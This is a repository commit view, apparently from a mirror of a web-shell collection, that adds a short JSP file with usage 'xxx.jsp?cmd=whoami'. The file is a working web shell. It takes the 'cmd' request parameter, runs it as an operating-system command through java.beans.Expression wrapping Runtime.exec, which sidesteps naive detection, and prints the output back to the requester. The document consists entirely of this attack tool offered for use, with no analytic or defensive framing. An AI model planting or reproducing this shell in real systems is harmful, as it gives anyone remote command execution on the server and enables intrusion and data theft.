mirror of
https://github.com/tennc/webshell
synced 2024-11-24 20:23:04 +00:00
Create 2022-09-03-03.jsp
From: https://mp.weixin.qq.com/s/BlfQ0t9s0vpTZo6sndfteg Author: naihe567 Usage: xxx.jsp?cmd=whoami
This commit is contained in:
parent
473c6f15a8
commit
c801606539
1 changed files with 17 additions and 0 deletions
17
jsp/2022-09-03-03.jsp
Normal file
17
jsp/2022-09-03-03.jsp
Normal file
|
@ -0,0 +1,17 @@
|
|||
<%@ page import="java.beans.Expression" %>
|
||||
<%@ page import="java.io.InputStreamReader" %>
|
||||
<%@ page import="java.io.BufferedReader" %>
|
||||
<%@ page import="java.io.InputStream" %>
|
||||
<%@ page language="java" pageEncoding="UTF-8" %>
|
||||
<%
|
||||
String cmd = request.getParameter("cmd");
|
||||
Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
|
||||
|
||||
Process process = (Process) expr.getValue();
|
||||
InputStream in = process.getInputStream();
|
||||
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
|
||||
String tmp = null;
|
||||
while((tmp = bufferedReader.readLine())!=null){
|
||||
response.getWriter().println(tmp);
|
||||
}
|
||||
%>
|
Loading…
Reference in a new issue